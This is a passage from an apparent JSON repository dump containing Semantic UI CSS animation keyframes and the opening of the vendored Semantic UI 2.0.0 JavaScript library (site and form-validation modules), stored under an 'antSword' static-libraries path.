opacity: 1;\n    -webkit-transform: scaleY(1);\n    transform: scaleY(1);\n  }\n}\n\n@keyframes slideInY {\n  0% {\n    opacity: 0;\n    -webkit-transform: scaleY(0);\n    transform: scaleY(0);\n  }\n\n  100% {\n    opacity: 1;\n    -webkit-transform: scaleY(1);\n    transform: scaleY(1);\n  }\n}\n\n@-webkit-keyframes slideInX {\n  0% {\n    opacity: 0;\n    -webkit-transform: scaleX(0);\n    transform: scaleX(0);\n  }\n\n  100% {\n    opacity: 1;\n    -webkit-transform: scaleX(1);\n    transform: scaleX(1);\n  }\n}\n\n@keyframes slideInX {\n  0% {\n    opacity: 0;\n    -webkit-transform: scaleX(0);\n    transform: scaleX(0);\n  }\n\n  100% {\n    opacity: 1;\n    -webkit-transform: scaleX(1);\n    transform: scaleX(1);\n  }\n}\n\n/* Out */\n\n@-webkit-keyframes slideOutY {\n  0% {\n    opacity: 1;\n    -webkit-transform: scaleY(1);\n    transform: scaleY(1);\n  }\n\n  100% {\n    opacity: 0;\n    -webkit-transform: scaleY(0);\n    transform: scaleY(0);\n  }\n}\n\n@keyframes slideOutY {\n  0% {\n    opacity: 1;\n    -webkit-transform: scaleY(1);\n    transform: scaleY(1);\n  }\n\n  100% {\n    opacity: 0;\n    -webkit-transform: scaleY(0);\n    transform: scaleY(0);\n  }\n}\n\n@-webkit-keyframes slideOutX {\n  0% {\n    opacity: 1;\n    -webkit-transform: scaleX(1);\n    transform: scaleX(1);\n  }\n\n  100% {\n    opacity: 0;\n    -webkit-transform: scaleX(0);\n    transform: scaleX(0);\n  }\n}\n\n@keyframes slideOutX {\n  0% {\n    opacity: 1;\n    -webkit-transform: scaleX(1);\n    transform: scaleX(1);\n  }\n\n  100% {\n    opacity: 0;\n    -webkit-transform: scaleX(0);\n    transform: scaleX(0);\n  }\n}\n\n/*--------------\n     Swing\n---------------*/\n\n.transition.swing {\n  -webkit-animation-duration: 800ms;\n  animation-duration: 800ms;\n}\n\n.transition[class*=\"swing down\"].in {\n  -webkit-animation-name: swingInX;\n  animation-name: swingInX;\n  -webkit-transform-origin: top center;\n  -ms-transform-origin: top center;\n  transform-origin: top center;\n}\n\n.transition[class*=\"swing up\"].in {\n  -webkit-animation-name: swingInX;\n  animation-name: swingInX;\n  -webkit-transform-origin: bottom center;\n  -ms-transform-origin: bottom center;\n  transform-origin: bottom center;\n}\n\n.transition[class*=\"swing left\"].in {\n  -webkit-animation-name: swingInY;\n  animation-name: swingInY;\n  -webkit-transform-origin: center right;\n  -ms-transform-origin: center right;\n  transform-origin: center right;\n}\n\n.transition[class*=\"swing right\"].in {\n  -webkit-animation-name: swingInY;\n  animation-name: swingInY;\n  -webkit-transform-origin: center left;\n  -ms-transform-origin: center left;\n  transform-origin: center left;\n}\n\n.transition.swing.out,\n.transition[class*=\"swing down\"].out {\n  -webkit-animation-name: swingOutX;\n  animation-name: swingOutX;\n  -webkit-transform-origin: top center;\n  -ms-transform-origin: top center;\n  transform-origin: top center;\n}\n\n.transition[class*=\"swing up\"].out {\n  -webkit-animation-name: swingOutX;\n  animation-name: swingOutX;\n  -webkit-transform-origin: bottom center;\n  -ms-transform-origin: bottom center;\n  transform-origin: bottom center;\n}\n\n.transition[class*=\"swing left\"].out {\n  -webkit-animation-name: swingOutY;\n  animation-name: swingOutY;\n  -webkit-transform-origin: center right;\n  -ms-transform-origin: center right;\n  transform-origin: center right;\n}\n\n.transition[class*=\"swing right\"].out {\n  -webkit-animation-name: swingOutY;\n  animation-name: swingOutY;\n  -webkit-transform-origin: center left;\n  -ms-transform-origin: center left;\n  transform-origin: center left;\n}\n\n/* In */\n\n@-webkit-keyframes swingInX {\n  0% {\n    -webkit-transform: perspective(1000px) rotateX(90deg);\n    transform: perspective(1000px) rotateX(90deg);\n    opacity: 0;\n  }\n\n  40% {\n    -webkit-transform: perspective(1000px) rotateX(-30deg);\n    transform: perspective(1000px) rotateX(-30deg);\n    opacity: 1;\n  }\n\n  60% {\n    -webkit-transform: perspective(1000px) rotateX(15deg);\n    transform: perspective(1000px) rotateX(15deg);\n  }\n\n  80% {\n    -webkit-transform: perspective(1000px) rotateX(-7.5deg);\n    transform: perspective(1000px) rotateX(-7.5deg);\n  }\n\n  100% {\n    -webkit-transform: perspective(1000px) rotateX(0deg);\n    transform: perspective(1000px) rotateX(0deg);\n  }\n}\n\n@keyframes swingInX {\n  0% {\n    -webkit-transform: perspective(1000px) rotateX(90deg);\n    transform: perspective(1000px) rotateX(90deg);\n    opacity: 0;\n  }\n\n  40% {\n    -webkit-transform: perspective(1000px) rotateX(-30deg);\n    transform: perspective(1000px) rotateX(-30deg);\n    opacity: 1;\n  }\n\n  60% {\n    -webkit-transform: perspective(1000px) rotateX(15deg);\n    transform: perspective(1000px) rotateX(15deg);\n  }\n\n  80% {\n    -webkit-transform: perspective(1000px) rotateX(-7.5deg);\n    transform: perspective(1000px) rotateX(-7.5deg);\n  }\n\n  100% {\n    -webkit-transform: perspective(1000px) rotateX(0deg);\n    transform: perspective(1000px) rotateX(0deg);\n  }\n}\n\n@-webkit-keyframes swingInY {\n  0% {\n    -webkit-transform: perspective(1000px) rotateY(-90deg);\n    transform: perspective(1000px) rotateY(-90deg);\n    opacity: 0;\n  }\n\n  40% {\n    -webkit-transform: perspective(1000px) rotateY(30deg);\n    transform: perspective(1000px) rotateY(30deg);\n    opacity: 1;\n  }\n\n  60% {\n    -webkit-transform: perspective(1000px) rotateY(-17.5deg);\n    transform: perspective(1000px) rotateY(-17.5deg);\n  }\n\n  80% {\n    -webkit-transform: perspective(1000px) rotateY(7.5deg);\n    transform: perspective(1000px) rotateY(7.5deg);\n  }\n\n  100% {\n    -webkit-transform: perspective(1000px) rotateY(0deg);\n    transform: perspective(1000px) rotateY(0deg);\n  }\n}\n\n@keyframes swingInY {\n  0% {\n    -webkit-transform: perspective(1000px) rotateY(-90deg);\n    transform: perspective(1000px) rotateY(-90deg);\n    opacity: 0;\n  }\n\n  40% {\n    -webkit-transform: perspective(1000px) rotateY(30deg);\n    transform: perspective(1000px) rotateY(30deg);\n    opacity: 1;\n  }\n\n  60% {\n    -webkit-transform: perspective(1000px) rotateY(-17.5deg);\n    transform: perspective(1000px) rotateY(-17.5deg);\n  }\n\n  80% {\n    -webkit-transform: perspective(1000px) rotateY(7.5deg);\n    transform: perspective(1000px) rotateY(7.5deg);\n  }\n\n  100% {\n    -webkit-transform: perspective(1000px) rotateY(0deg);\n    transform: perspective(1000px) rotateY(0deg);\n  }\n}\n\n/* Out */\n\n@-webkit-keyframes swingOutX {\n  0% {\n    -webkit-transform: perspective(1000px) rotateX(0deg);\n    transform: perspective(1000px) rotateX(0deg);\n  }\n\n  40% {\n    -webkit-transform: perspective(1000px) rotateX(-7.5deg);\n    transform: perspective(1000px) rotateX(-7.5deg);\n  }\n\n  60% {\n    -webkit-transform: perspective(1000px) rotateX(17.5deg);\n    transform: perspective(1000px) rotateX(17.5deg);\n  }\n\n  80% {\n    -webkit-transform: perspective(1000px) rotateX(-30deg);\n    transform: perspective(1000px) rotateX(-30deg);\n    opacity: 1;\n  }\n\n  100% {\n    -webkit-transform: perspective(1000px) rotateX(90deg);\n    transform: perspective(1000px) rotateX(90deg);\n    opacity: 0;\n  }\n}\n\n@keyframes swingOutX {\n  0% {\n    -webkit-transform: perspective(1000px) rotateX(0deg);\n    transform: perspective(1000px) rotateX(0deg);\n  }\n\n  40% {\n    -webkit-transform: perspective(1000px) rotateX(-7.5deg);\n    transform: perspective(1000px) rotateX(-7.5deg);\n  }\n\n  60% {\n    -webkit-transform: perspective(1000px) rotateX(17.5deg);\n    transform: perspective(1000px) rotateX(17.5deg);\n  }\n\n  80% {\n    -webkit-transform: perspective(1000px) rotateX(-30deg);\n    transform: perspective(1000px) rotateX(-30deg);\n    opacity: 1;\n  }\n\n  100% {\n    -webkit-transform: perspective(1000px) rotateX(90deg);\n    transform: perspective(1000px) rotateX(90deg);\n    opacity: 0;\n  }\n}\n\n@-webkit-keyframes swingOutY {\n  0% {\n    -webkit-transform: perspective(1000px) rotateY(0deg);\n    transform: perspective(1000px) rotateY(0deg);\n  }\n\n  40% {\n    -webkit-transform: perspective(1000px) rotateY(7.5deg);\n    transform: perspective(1000px) rotateY(7.5deg);\n  }\n\n  60% {\n    -webkit-transform: perspective(1000px) rotateY(-10deg);\n    transform: perspective(1000px) rotateY(-10deg);\n  }\n\n  80% {\n    -webkit-transform: perspective(1000px) rotateY(30deg);\n    transform: perspective(1000px) rotateY(30deg);\n    opacity: 1;\n  }\n\n  100% {\n    -webkit-transform: perspective(1000px) rotateY(-90deg);\n    transform: perspective(1000px) rotateY(-90deg);\n    opacity: 0;\n  }\n}\n\n@keyframes swingOutY {\n  0% {\n    -webkit-transform: perspective(1000px) rotateY(0deg);\n    transform: perspective(1000px) rotateY(0deg);\n  }\n\n  40% {\n    -webkit-transform: perspective(1000px) rotateY(7.5deg);\n    transform: perspective(1000px) rotateY(7.5deg);\n  }\n\n  60% {\n    -webkit-transform: perspective(1000px) rotateY(-10deg);\n    transform: perspective(1000px) rotateY(-10deg);\n  }\n\n  80% {\n    -webkit-transform: perspective(1000px) rotateY(30deg);\n    transform: perspective(1000px) rotateY(30deg);\n    opacity: 1;\n  }\n\n  100% {\n    -webkit-transform: perspective(1000px) rotateY(-90deg);\n    transform: perspective(1000px) rotateY(-90deg);\n    opacity: 0;\n  }\n}\n\n/*******************************\n       Static Animations\n*******************************/\n\n/*--------------\n    Emphasis\n---------------*/\n\n.flash.transition {\n  -webkit-animation-duration: 750ms;\n  animation-duration: 750ms;\n  -webkit-animation-name: flash;\n  animation-name: flash;\n}\n\n.shake.transition {\n  -webkit-animation-duration: 750ms;\n  animation-duration: 750ms;\n  -webkit-animation-name: shake;\n  animation-name: shake;\n}\n\n.bounce.transition {\n  -webkit-animation-duration: 750ms;\n  animation-duration: 750ms;\n  -webkit-animation-name: bounce;\n  animation-name: bounce;\n}\n\n.tada.transition {\n  -webkit-animation-duration: 750ms;\n  animation-duration: 750ms;\n  -webkit-animation-name: tada;\n  animation-name: tada;\n}\n\n.pulse.transition {\n  -webkit-animation-duration: 500ms;\n  animation-duration: 500ms;\n  -webkit-animation-name: pulse;\n  animation-name: pulse;\n}\n\n.jiggle.transition {\n  -webkit-animation-duration: 750ms;\n  animation-duration: 750ms;\n  -webkit-animation-name: jiggle;\n  animation-name: jiggle;\n}\n\n/* Flash */\n\n@-webkit-keyframes flash {\n  0%, 50%, 100% {\n    opacity: 1;\n  }\n\n  25%, 75% {\n    opacity: 0;\n  }\n}\n\n@keyframes flash {\n  0%, 50%, 100% {\n    opacity: 1;\n  }\n\n  25%, 75% {\n    opacity: 0;\n  }\n}\n\n/* Shake */\n\n@-webkit-keyframes shake {\n  0%, 100% {\n    -webkit-transform: translateX(0);\n    transform: translateX(0);\n  }\n\n  10%, 30%, 50%, 70%, 90% {\n    -webkit-transform: translateX(-10px);\n    transform: translateX(-10px);\n  }\n\n  20%, 40%, 60%, 80% {\n    -webkit-transform: translateX(10px);\n    transform: translateX(10px);\n  }\n}\n\n@keyframes shake {\n  0%, 100% {\n    -webkit-transform: translateX(0);\n    transform: translateX(0);\n  }\n\n  10%, 30%, 50%, 70%, 90% {\n    -webkit-transform: translateX(-10px);\n    transform: translateX(-10px);\n  }\n\n  20%, 40%, 60%, 80% {\n    -webkit-transform: translateX(10px);\n    transform: translateX(10px);\n  }\n}\n\n/* Bounce */\n\n@-webkit-keyframes bounce {\n  0%, 20%, 50%, 80%, 100% {\n    -webkit-transform: translateY(0);\n    transform: translateY(0);\n  }\n\n  40% {\n    -webkit-transform: translateY(-30px);\n    transform: translateY(-30px);\n  }\n\n  60% {\n    -webkit-transform: translateY(-15px);\n    transform: translateY(-15px);\n  }\n}\n\n@keyframes bounce {\n  0%, 20%, 50%, 80%, 100% {\n    -webkit-transform: translateY(0);\n    transform: translateY(0);\n  }\n\n  40% {\n    -webkit-transform: translateY(-30px);\n    transform: translateY(-30px);\n  }\n\n  60% {\n    -webkit-transform: translateY(-15px);\n    transform: translateY(-15px);\n  }\n}\n\n/* Tada */\n\n@-webkit-keyframes tada {\n  0% {\n    -webkit-transform: scale(1);\n    transform: scale(1);\n  }\n\n  10%, 20% {\n    -webkit-transform: scale(0.9) rotate(-3deg);\n    transform: scale(0.9) rotate(-3deg);\n  }\n\n  30%, 50%, 70%, 90% {\n    -webkit-transform: scale(1.1) rotate(3deg);\n    transform: scale(1.1) rotate(3deg);\n  }\n\n  40%, 60%, 80% {\n    -webkit-transform: scale(1.1) rotate(-3deg);\n    transform: scale(1.1) rotate(-3deg);\n  }\n\n  100% {\n    -webkit-transform: scale(1) rotate(0);\n    transform: scale(1) rotate(0);\n  }\n}\n\n@keyframes tada {\n  0% {\n    -webkit-transform: scale(1);\n    transform: scale(1);\n  }\n\n  10%, 20% {\n    -webkit-transform: scale(0.9) rotate(-3deg);\n    transform: scale(0.9) rotate(-3deg);\n  }\n\n  30%, 50%, 70%, 90% {\n    -webkit-transform: scale(1.1) rotate(3deg);\n    transform: scale(1.1) rotate(3deg);\n  }\n\n  40%, 60%, 80% {\n    -webkit-transform: scale(1.1) rotate(-3deg);\n    transform: scale(1.1) rotate(-3deg);\n  }\n\n  100% {\n    -webkit-transform: scale(1) rotate(0);\n    transform: scale(1) rotate(0);\n  }\n}\n\n/* Pulse */\n\n@-webkit-keyframes pulse {\n  0% {\n    -webkit-transform: scale(1);\n    transform: scale(1);\n    opacity: 1;\n  }\n\n  50% {\n    -webkit-transform: scale(0.9);\n    transform: scale(0.9);\n    opacity: 0.7;\n  }\n\n  100% {\n    -webkit-transform: scale(1);\n    transform: scale(1);\n    opacity: 1;\n  }\n}\n\n@keyframes pulse {\n  0% {\n    -webkit-transform: scale(1);\n    transform: scale(1);\n    opacity: 1;\n  }\n\n  50% {\n    -webkit-transform: scale(0.9);\n    transform: scale(0.9);\n    opacity: 0.7;\n  }\n\n  100% {\n    -webkit-transform: scale(1);\n    transform: scale(1);\n    opacity: 1;\n  }\n}\n\n/* Rubberband */\n\n@-webkit-keyframes jiggle {\n  0% {\n    -webkit-transform: scale3d(1, 1, 1);\n    transform: scale3d(1, 1, 1);\n  }\n\n  30% {\n    -webkit-transform: scale3d(1.25, 0.75, 1);\n    transform: scale3d(1.25, 0.75, 1);\n  }\n\n  40% {\n    -webkit-transform: scale3d(0.75, 1.25, 1);\n    transform: scale3d(0.75, 1.25, 1);\n  }\n\n  50% {\n    -webkit-transform: scale3d(1.15, 0.85, 1);\n    transform: scale3d(1.15, 0.85, 1);\n  }\n\n  65% {\n    -webkit-transform: scale3d(0.95, 1.05, 1);\n    transform: scale3d(0.95, 1.05, 1);\n  }\n\n  75% {\n    -webkit-transform: scale3d(1.05, 0.95, 1);\n    transform: scale3d(1.05, 0.95, 1);\n  }\n\n  100% {\n    -webkit-transform: scale3d(1, 1, 1);\n    transform: scale3d(1, 1, 1);\n  }\n}\n\n@keyframes jiggle {\n  0% {\n    -webkit-transform: scale3d(1, 1, 1);\n    transform: scale3d(1, 1, 1);\n  }\n\n  30% {\n    -webkit-transform: scale3d(1.25, 0.75, 1);\n    transform: scale3d(1.25, 0.75, 1);\n  }\n\n  40% {\n    -webkit-transform: scale3d(0.75, 1.25, 1);\n    transform: scale3d(0.75, 1.25, 1);\n  }\n\n  50% {\n    -webkit-transform: scale3d(1.15, 0.85, 1);\n    transform: scale3d(1.15, 0.85, 1);\n  }\n\n  65% {\n    -webkit-transform: scale3d(0.95, 1.05, 1);\n    transform: scale3d(0.95, 1.05, 1);\n  }\n\n  75% {\n    -webkit-transform: scale3d(1.05, 0.95, 1);\n    transform: scale3d(1.05, 0.95, 1);\n  }\n\n  100% {\n    -webkit-transform: scale3d(1, 1, 1);\n    transform: scale3d(1, 1, 1);\n  }\n}\n\n/*******************************\n         Site Overrides\n*******************************/"
  },
  {
    "path": "antSword/static/libs/semanticui/semantic.js",
    "content": " /*\n * # Semantic UI - 2.0.0\n * https://github.com/Semantic-Org/Semantic-UI\n * http://www.semantic-ui.com/\n *\n * Copyright 2014 Contributors\n * Released under the MIT license\n * http://opensource.org/licenses/MIT\n *\n */\n/*!\n * # Semantic UI 2.0.0 - Site\n * http://github.com/semantic-org/semantic-ui/\n *\n *\n * Copyright 2015 Contributors\n * Released under the MIT license\n * http://opensource.org/licenses/MIT\n *\n */\n;(function ( $, window, document, undefined ) {\n\n$.site = $.fn.site = function(parameters) {\n  var\n    time           = new Date().getTime(),\n    performance    = [],\n\n    query          = arguments[0],\n    methodInvoked  = (typeof query == 'string'),\n    queryArguments = [].slice.call(arguments, 1),\n\n    settings        = ( $.isPlainObject(parameters) )\n      ? $.extend(true, {}, $.site.settings, parameters)\n      : $.extend({}, $.site.settings),\n\n    namespace       = settings.namespace,\n    error           = settings.error,\n\n    eventNamespace  = '.' + namespace,\n    moduleNamespace = 'module-' + namespace,\n\n    $document       = $(document),\n    $module         = $document,\n    element         = this,\n    instance        = $module.data(moduleNamespace),\n\n    module,\n    returnedValue\n  ;\n  module = {\n\n    initialize: function() {\n      module.instantiate();\n    },\n\n    instantiate: function() {\n      module.verbose('Storing instance of site', module);\n      instance = module;\n      $module\n        .data(moduleNamespace, module)\n      ;\n    },\n\n    normalize: function() {\n      module.fix.console();\n      module.fix.requestAnimationFrame();\n    },\n\n    fix: {\n      console: function() {\n        module.debug('Normalizing window.console');\n        if (console === undefined || console.log === undefined) {\n          module.verbose('Console not available, normalizing events');\n          module.disable.console();\n        }\n        if (typeof console.group == 'undefined' || typeof console.groupEnd == 'undefined' || typeof console.groupCollapsed == 'undefined') {\n          module.verbose('Console group not available, normalizing events');\n          window.console.group = function() {};\n          window.console.groupEnd = function() {};\n          window.console.groupCollapsed = function() {};\n        }\n        if (typeof console.markTimeline == 'undefined') {\n          module.verbose('Mark timeline not available, normalizing events');\n          window.console.markTimeline = function() {};\n        }\n      },\n      consoleClear: function() {\n        module.debug('Disabling programmatic console clearing');\n        window.console.clear = function() {};\n      },\n      requestAnimationFrame: function() {\n        module.debug('Normalizing requestAnimationFrame');\n        if(window.requestAnimationFrame === undefined) {\n          module.debug('RequestAnimationFrame not available, normailizing event');\n          window.requestAnimationFrame = window.requestAnimationFrame\n            || window.mozRequestAnimationFrame\n            || window.webkitRequestAnimationFrame\n            || window.msRequestAnimationFrame\n            || function(callback) { setTimeout(callback, 0); }\n          ;\n        }\n      }\n    },\n\n    moduleExists: function(name) {\n      return ($.fn[name] !== undefined && $.fn[name].settings !== undefined);\n    },\n\n    enabled: {\n      modules: function(modules) {\n        var\n          enabledModules = []\n        ;\n        modules = modules || settings.modules;\n        $.each(modules, function(index, name) {\n          if(module.moduleExists(name)) {\n            enabledModules.push(name);\n          }\n        });\n        return enabledModules;\n      }\n    },\n\n    disabled: {\n      modules: function(modules) {\n        var\n          disabledModules = []\n        ;\n        modules = modules || settings.modules;\n        $.each(modules, function(index, name) {\n          if(!module.moduleExists(name)) {\n            disabledModules.push(name);\n          }\n        });\n        return disabledModules;\n      }\n    },\n\n    change: {\n      setting: function(setting, value, modules, modifyExisting) {\n        modules = (typeof modules === 'string')\n          ? (modules === 'all')\n            ? settings.modules\n            : [modules]\n          : modules || settings.modules\n        ;\n        modifyExisting = (modifyExisting !== undefined)\n          ? modifyExisting\n          : true\n        ;\n        $.each(modules, function(index, name) {\n          var\n            namespace = (module.moduleExists(name))\n              ? $.fn[name].settings.namespace || false\n              : true,\n            $existingModules\n          ;\n          if(module.moduleExists(name)) {\n            module.verbose('Changing default setting', setting, value, name);\n            $.fn[name].settings[setting] = value;\n            if(modifyExisting && namespace) {\n              $existingModules = $(':data(module-' + namespace + ')');\n              if($existingModules.length > 0) {\n                module.verbose('Modifying existing settings', $existingModules);\n                $existingModules[name]('setting', setting, value);\n              }\n            }\n          }\n        });\n      },\n      settings: function(newSettings, modules, modifyExisting) {\n        modules = (typeof modules === 'string')\n          ? [modules]\n          : modules || settings.modules\n        ;\n        modifyExisting = (modifyExisting !== undefined)\n          ? modifyExisting\n          : true\n        ;\n        $.each(modules, function(index, name) {\n          var\n            $existingModules\n          ;\n          if(module.moduleExists(name)) {\n            module.verbose('Changing default setting', newSettings, name);\n            $.extend(true, $.fn[name].settings, newSettings);\n            if(modifyExisting && namespace) {\n              $existingModules = $(':data(module-' + namespace + ')');\n              if($existingModules.length > 0) {\n                module.verbose('Modifying existing settings', $existingModules);\n                $existingModules[name]('setting', newSettings);\n              }\n            }\n          }\n        });\n      }\n    },\n\n    enable: {\n      console: function() {\n        module.console(true);\n      },\n      debug: function(modules, modifyExisting) {\n        modules = modules || settings.modules;\n        module.debug('Enabling debug for modules', modules);\n        module.change.setting('debug', true, modules, modifyExisting);\n      },\n      verbose: function(modules, modifyExisting) {\n        modules = modules || settings.modules;\n        module.debug('Enabling verbose debug for modules', modules);\n        module.change.setting('verbose', true, modules, modifyExisting);\n      }\n    },\n    disable: {\n      console: function() {\n        module.console(false);\n      },\n      debug: function(modules, modifyExisting) {\n        modules = modules || settings.modules;\n        module.debug('Disabling debug for modules', modules);\n        module.change.setting('debug', false, modules, modifyExisting);\n      },\n      verbose: function(modules, modifyExisting) {\n        modules = modules || settings.modules;\n        module.debug('Disabling verbose debug for modules', modules);\n        module.change.setting('verbose', false, modules, modifyExisting);\n      }\n    },\n\n    console: function(enable) {\n      if(enable) {\n        if(instance.cache.console === undefined) {\n          module.error(error.console);\n          return;\n        }\n        module.debug('Restoring console function');\n        window.console = instance.cache.console;\n      }\n      else {\n        module.debug('Disabling console function');\n        instance.cache.console = window.console;\n        window.console = {\n          clear          : function(){},\n          error          : function(){},\n          group          : function(){},\n          groupCollapsed : function(){},\n          groupEnd       : function(){},\n          info           : function(){},\n          log            : function(){},\n          markTimeline   : function(){},\n          warn           : function(){}\n        };\n      }\n    },\n\n    destroy: function() {\n      module.verbose('Destroying previous site for', $module);\n      $module\n        .removeData(moduleNamespace)\n      ;\n    },\n\n    cache: {},\n\n    setting: function(name, value) {\n      if( $.isPlainObject(name) ) {\n        $.extend(true, settings, name);\n      }\n      else if(value !== undefined) {\n        settings[name] = value;\n      }\n      else {\n        return settings[name];\n      }\n    },\n    internal: function(name, value) {\n      if( $.isPlainObject(name) ) {\n        $.extend(true, module, name);\n      }\n      else if(value !== undefined) {\n        module[name] = value;\n      }\n      else {\n        return module[name];\n      }\n    },\n    debug: function() {\n      if(settings.debug) {\n        if(settings.performance) {\n          module.performance.log(arguments);\n        }\n        else {\n          module.debug = Function.prototype.bind.call(console.info, console, settings.name + ':');\n          module.debug.apply(console, arguments);\n        }\n      }\n    },\n    verbose: function() {\n      if(settings.verbose && settings.debug) {\n        if(settings.performance) {\n          module.performance.log(arguments);\n        }\n        else {\n          module.verbose = Function.prototype.bind.call(console.info, console, settings.name + ':');\n          module.verbose.apply(console, arguments);\n        }\n      }\n    },\n    error: function() {\n      module.error = Function.prototype.bind.call(console.error, console, settings.name + ':');\n      module.error.apply(console, arguments);\n    },\n    performance: {\n      log: function(message) {\n        var\n          currentTime,\n          executionTime,\n          previousTime\n        ;\n        if(settings.performance) {\n          currentTime   = new Date().getTime();\n          previousTime  = time || currentTime;\n          executionTime = currentTime - previousTime;\n          time          = currentTime;\n          performance.push({\n            'Element'        : element,\n            'Name'           : message[0],\n            'Arguments'      : [].slice.call(message, 1) || '',\n            'Execution Time' : executionTime\n          });\n        }\n        clearTimeout(module.performance.timer);\n        module.performance.timer = setTimeout(module.performance.display, 500);\n      },\n      display: function() {\n        var\n          title = settings.name + ':',\n          totalTime = 0\n        ;\n        time = false;\n        clearTimeout(module.performance.timer);\n        $.each(performance, function(index, data) {\n          totalTime += data['Execution Time'];\n        });\n        title += ' ' + totalTime + 'ms';\n        if( (console.group !== undefined || console.table !== undefined) && performance.length > 0) {\n          console.groupCollapsed(title);\n          if(console.table) {\n            console.table(performance);\n          }\n          else {\n            $.each(performance, function(index, data) {\n              console.log(data['Name'] + ': ' + data['Execution Time']+'ms');\n            });\n          }\n          console.groupEnd();\n        }\n        performance = [];\n      }\n    },\n    invoke: function(query, passedArguments, context) {\n      var\n        object = instance,\n        maxDepth,\n        found,\n        response\n      ;\n      passedArguments = passedArguments || queryArguments;\n      context         = element         || context;\n      if(typeof query == 'string' && object !== undefined) {\n        query    = query.split(/[\\. ]/);\n        maxDepth = query.length - 1;\n        $.each(query, function(depth, value) {\n          var camelCaseValue = (depth != maxDepth)\n            ? value + query[depth + 1].charAt(0).toUpperCase() + query[depth + 1].slice(1)\n            : query\n          ;\n          if( $.isPlainObject( object[camelCaseValue] ) && (depth != maxDepth) ) {\n            object = object[camelCaseValue];\n          }\n          else if( object[camelCaseValue] !== undefined ) {\n            found = object[camelCaseValue];\n            return false;\n          }\n          else if( $.isPlainObject( object[value] ) && (depth != maxDepth) ) {\n            object = object[value];\n          }\n          else if( object[value] !== undefined ) {\n            found = object[value];\n            return false;\n          }\n          else {\n            module.error(error.method, query);\n            return false;\n          }\n        });\n      }\n      if ( $.isFunction( found ) ) {\n        response = found.apply(context, passedArguments);\n      }\n      else if(found !== undefined) {\n        response = found;\n      }\n      if($.isArray(returnedValue)) {\n        returnedValue.push(response);\n      }\n      else if(returnedValue !== undefined) {\n        returnedValue = [returnedValue, response];\n      }\n      else if(response !== undefined) {\n        returnedValue = response;\n      }\n      return found;\n    }\n  };\n\n  if(methodInvoked) {\n    if(instance === undefined) {\n      module.initialize();\n    }\n    module.invoke(query);\n  }\n  else {\n    if(instance !== undefined) {\n      module.destroy();\n    }\n    module.initialize();\n  }\n  return (returnedValue !== undefined)\n    ? returnedValue\n    : this\n  ;\n};\n\n$.site.settings = {\n\n  name        : 'Site',\n  namespace   : 'site',\n\n  error : {\n    console : 'Console cannot be restored, most likely it was overwritten outside of module',\n    method : 'The method you called is not defined.'\n  },\n\n  debug       : false,\n  verbose     : false,\n  performance : true,\n\n  modules: [\n    'accordion',\n    'api',\n    'checkbox',\n    'dimmer',\n    'dropdown',\n    'embed',\n    'form',\n    'modal',\n    'nag',\n    'popup',\n    'rating',\n    'shape',\n    'sidebar',\n    'state',\n    'sticky',\n    'tab',\n    'transition',\n    'visit',\n    'visibility'\n  ],\n\n  siteNamespace   : 'site',\n  namespaceStub   : {\n    cache     : {},\n    config    : {},\n    sections  : {},\n    section   : {},\n    utilities : {}\n  }\n\n};\n\n// allows for selection of elements with data attributes\n$.extend($.expr[ \":\" ], {\n  data: ($.expr.createPseudo)\n    ? $.expr.createPseudo(function(dataName) {\n        return function(elem) {\n          return !!$.data(elem, dataName);\n        };\n      })\n    : function(elem, i, match) {\n      // support: jQuery < 1.8\n      return !!$.data(elem, match[ 3 ]);\n    }\n});\n\n\n})( jQuery, window , document );\n/*!\n * # Semantic UI 2.0.0 - Form Validation\n * http://github.com/semantic-org/semantic-ui/\n *\n *\n * Copyright 2015 Contributors\n * Released under the MIT license\n * http://opensource.org/licenses/MIT\n *\n */\n\n;(function ( $, window, document, undefined ) {\n\n\"use strict\";\n\n$.fn.form = function(parameters) {\n  var\n    $allModules      = $(this),\n    moduleSelector   = $allModules.selector || '',\n\n    time             = new Date().getTime(),\n    performance      = [],\n\n    query            = arguments[0],\n    legacyParameters = arguments[1],\n    methodInvoked    = (typeof query == 'string'),\n    queryArguments   = [].slice.call(arguments, 1),\n    returnedValue\n  ;\n  $allModules\n    .each(function() {\n      var\n        $module     = $(this),\n        element     = this,\n\n        formErrors  = [],\n        keyHeldDown = false,\n\n        // set at run-time\n        $field,\n        $group,\n        $message,\n        $prompt,\n        $submit,\n        $clear,\n        $reset,\n\n        settings,\n        validation,\n\n        metadata,\n        selector,\n        className,\n        error,\n\n        namespace,\n        moduleNamespace,\n        eventNamespace,\n\n        instance,\n        module\n      ;\n\n      module      = {\n\n        initialize: function() {\n\n          // settings grabbed at run time\n          module.get.settings();\n          if(methodInvoked) {\n            if(instance === undefined) {\n              module.instantiate();\n            }\n            module.invoke(query);\n          }\n          else {\n            module.verbose('Initializing form validation', $module, settings);\n            module.bindEvents();\n            module.set.defaults();\n            module.instantiate();\n          }\n        },\n\n        instantiate: function() {\n          module.verbose('Storing instance of module', module);\n          instance = module;\n          $module\n            .data(moduleNamespace, module)\n          ;\n        },\n\n        destroy: function() {\n          module.verbose('Destroying previous module', instance);\n          module.removeEvents();\n          $module\n            .removeData(moduleNamespace)\n          ;\n        },\n\n        refresh: function() {\n          module.verbose('Refreshing selector cache');\n          $field      = $module.find(selector.field);\n          $group      = $module.find(selector.group);\n          $message    = $module.find(selector.message);\n          $prompt     = $module.find(selector.prompt);\n\n          $submit     = $module.find(selector.submit);\n          $clear      = $module.find(selector.clear);\n          $reset      = $module.find(selector.reset);\n        },\n\n        submit: function() {\n          module.verbose('Submitting form', $module);\n          $module\n            .submit()\n          ;\n        },\n\n        attachEvents: function(selector, action) {\n          action = action || 'submit';\n          $(selector)\n            .on('click' + eventNamespace, function(event) {\n              module[action]();\n              event.preventDefault();\n            })\n          ;\n        },\n\n        bindEvents: function() {\n          module.verbose('Attaching form events');\n          $module\n            .on('submit' + eventNamespace, module.validate.form)\n            .on('blur'   + eventNamespace, selector.field, module.event.field.blur)\n            .on('click'  + eventNamespace, selector.submit, module.submit)\n            .on('click'  + eventNamespace, selector.reset, module.reset)\n            .on('click'  + eventNamespace, selector.clear, module.clear)\n          ;\n          if(settings.keyboardShortcuts) {\n            $module\n              .on('keydown' + eventNamespace, selector.field, module.event.field.keydown)\n            ;\n          }\n          $field\n            .each(function() {\n              var\n                $input     = $(this),\n                type       = $input.prop('type'),\n                inputEvent = module.get.changeEvent(type, $input)\n              ;\n              $(this)\n                .on(inputEvent + eventNamespace, module.event.field.change)\n              ;\n            })\n          ;\n        },\n\n        clear: function() {\n          $field\n            